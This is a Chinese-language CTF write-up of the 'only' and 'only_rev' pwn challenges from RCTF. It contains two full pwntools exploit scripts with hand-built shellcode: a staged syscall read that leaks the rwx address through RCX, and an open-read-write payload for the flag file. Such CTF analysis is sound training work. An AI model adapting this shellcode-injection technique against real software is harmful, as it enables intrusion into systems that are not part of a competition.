RCTF
zach0ry

攻防世界RCTF

only

没有nx保护,用shellcode

5bb1eeb4018d735f588f8f46a0c2938f

sla(b”input:”, b”8.592564544313935e-246”)进入gift函数

5bb6095d3547949638eec69de89e9e02

执行addr时会把寄存器清零

设计read函数

read(0, addr, count)

89a386a7a17cb8ddfca4717ec8e90c6c

19b2d71415db8c7c188c3cf9e8c825dd

之后继续构造shellcode接在后面

Shellcraft远端没成功

直接用orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
import sys
from LibcSearcher import *

file_path = "./chal"
remote_host = "101.245.98.115"
remote_port = 26100
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"cmd.exe", "/c",
"start", "/max", "", "wt.exe",
"--profile", "WSL GDB (Black)",
"--", "wsl", "bash", "-lc"
]

elf = ELF(file_path)
libc = elf.libc
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
#gdb.attach(p,"b read")

def dbg():
gdb.attach(p)
pause()
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)

sla(b"3.exit",str(2))
sla(b"input:", b"8.592564544313935e-246")
sla(b"Make a choice:",str(1))

'''
pop
pop
pop rdx
pop
pop rax
pop rsi
syscall
'''
payload=b'\x5b\x5b\x5a\x5b\x58\x5e\x0f\x05'
p.send(payload)

#shell=shellcraft.sh()
shell= '''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall

'''

payload=b'\x90'*(0x32)+asm(shell)
p.send(payload)
p.interactive()

only_rev

本解题思路参考了星盟安全团队

前面和only一样,但是

image-20251124145752734

1
2
3
4
5
add rsp,0x12345678
add rbp,0x12345678
// 输入
sub rsp,0x12345678
sub rbp,0x12345678

image-20251124150150884

最开始的时候无可以利用的

执行该命令实现

1
2
3
4
5
6
pay = b"""
syscall
mov rsi, rcx
add rdx, 0xff
syscall
"""

在 x86-64 Linux 上执行 syscall 时,CPU 会把下一条指令地址保存到 RCX(还会保存 flags 到 R11),这是指令语义规定的副作用。

你这里“寄存器全 0”的意思是:

  • RAX=0 → 系统调用号 0,即 read
  • RDI=0 → fd=0(stdin)
  • RSI=0
  • RDX=0

所以第一个 syscall 等价于执行:

1
>read(0, NULL, 0);

它实际什么都不读(长度 0),马上返回;但返回时 RCX 被写成“syscall 后面那条指令的 RIP”,也就是你 rwx 区域里当前代码的位置。

结果:RCX 里拿到了 rwx 区域地址。

初次syscall之后

image-20251124150424895

控制read之后

image-20251124150526536

之后就是写入read就好

写入是在3a的位置,但是我们该执行41了,所以填充7个字节道要执行的位置

编写orw

用到了push等操作

所以先让栈飞回去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
orw = '''
sub rbp,0x12345678
sub rsp,0x12345678
push 0x67616c66
mov rdi,rsp
xor rsi,rsi
mov rax,2
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x50
xor rax,rax
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x50
mov rax,1
syscall
'''
shellcode = b"\x00"*7 + asm(orw)

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @file: exp.py
# @author: fuchen
# @contact: MTM3MjIwMzYwQHFxLmNvbQ==
# @created: 2025-11-15
# @description: Pwn exploit template for CTF challenges

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

LOCAL = True
BINARY = "./chal"
LIBC = "./libc.so.6"

HOST = "1.95.164.64"
PORT = 26000

def setup():
if LOCAL:
return process(BINARY)
else:
return remote(HOST, PORT)

s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=False :p.recvuntil(delims, drop)
rl = lambda :p.recvline()
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
uu16 = lambda data :u16(data.ljust(2, b'\0'))
uu8 = lambda data :u8(data)
leak = lambda name,addr :log.success(f"{name} = {hex(addr)}")
dbg = lambda cmd='' :gdb.attach(p, cmd)
def notes():
sla(b"3.exit\n",b"1")
def add(size):
sla(b"5.back\n",b"1")
sla(b"size:",str(size).encode())
def delete():
sla(b"5.back\n",b"2")
def save(filename):
sla(b"5.back\n",b"3")
sl(b"filename: ",filename)
def edit():
sla(b"5.back\n",b"4")
def back():
sla(b"5.back\n",b"4")
def bookkeeping():
sla(b"3.exit\n",b"2")
sla(b"input:\n",str(8.592564544313935e-246).encode())
def runcode(content):
sla(b"Make a choice:",b"1")
sa(b"your code:",content)
def getcanary():
sla(b"Make a choice:",b"2")
def exploit():
global p
p = setup()

elf = ELF(BINARY)
libc = ELF(LIBC) if LIBC else None
#dbg('b *$rebase(0x1a79)')
#pause()
bookkeeping()
payload = b"\x0f\x05\x48\x89\xce\xb2\xff\x0f\x05"
runcode(payload)
orw = '''
sub rbp,0x12345678
sub rsp,0x12345678
push 0x67616c66
mov rdi,rsp
xor rsi,rsi
mov rax,2
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x50
xor rax,rax
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x50
mov rax,1
syscall
'''
shellcode = b"\x00"*7 + asm(orw)
sleep(1)
sl(shellcode)
#pause()

itr()

if __name__ == "__main__":

try:
exploit()
except Exception as e:
log.error(f"Exploit failed: {e}")
if 'p' in globals():
p.close()
raise

image-20251124145905158add之后ebp,esp的范围不在映射范围内

为什么push/pop/call 无法执行

这些指令都会隐式访问 [rsp] 附近地址:

  • push x:先 rsp -= 8,再写 [rsp]
  • pop x:先读 [rsp],再 rsp += 8
  • call addr:等价于 push rip_next; jmp addr
  • ret:等价于 pop rip

但现在 [rsp] 就是 unmapped,任何一次读/写都会 page fault。